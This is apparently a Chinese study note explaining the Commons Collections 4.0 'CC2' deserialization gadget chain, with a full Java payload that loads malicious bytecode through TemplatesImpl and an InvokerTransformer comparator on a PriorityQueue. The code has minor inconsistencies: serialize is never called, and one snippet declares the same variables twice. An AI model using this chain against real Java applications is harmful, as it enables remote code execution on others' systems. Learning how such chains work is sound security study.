CC2
参考:https://www.cnblogs.com/1vxyz/p/17478613.html
环境:jdk8u65 && Commons-collections 4.0
适用:jdk8u301 jdk11 jdk15可利用 jdk16失败
CC2实际上是CC4的一个变种 由于还是要通过恶意类加载来rce 所以顺着来还是得调用TemplatesImpl::newTransformer() 但是因为是commons-collections4.0 所以前面可以不用ChainedTransformer::compare() -> InstantiateTransformer::transform() -> TrAXFilter::TrAXFilter()
这么麻烦 直接使用InvokerTransformer此时还能够序列化的特性invoke调用就行
1 2 3 4 5 6 7 8 9 10 11
| Gadget chain: PriorityQueue::readObject() -> PriorityQueue::heapify() -> PriorityQueue::siftDown() -> PriorityQueue::siftDownUsingComparator() -> TransformingComparator::compare() -> InvokerTransformer::transform() -> TemplatesImpl::newTransformer() -> TemplatesImpl::getTransletInstance() -> TemplatesImpl::defineTransletClasses() -> TransletClassLoader::defineClass()
|
这里要注意的是CC2相比CC4的变化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2);
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2);
|
可以看到CC4是将templates赋给InstantiateTransformer 整个ChainedTransformer数组中的每个Transformer都调用一遍transform() 最后将templates当作参数传给TrAXFilter使其调用templates.newTransformer()
而CC2则是将templates赋给PriorityQueue 随后传给InvokerTransformer 通过InvokerTransformer的trasnform() 将newTransformer
当作参数传给templates使其调用templates.newTransformer()
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class cc2 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","jed");
byte[] code = Files.readAllBytes(Paths.get("target/classes/evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2);
setFieldValue(transformingComparator,"transformer",invokerTransformer); unserialize("sercc2.bin");
} public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc2.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|
所以说CC2最大的区别实际上就是没有用Transformer数组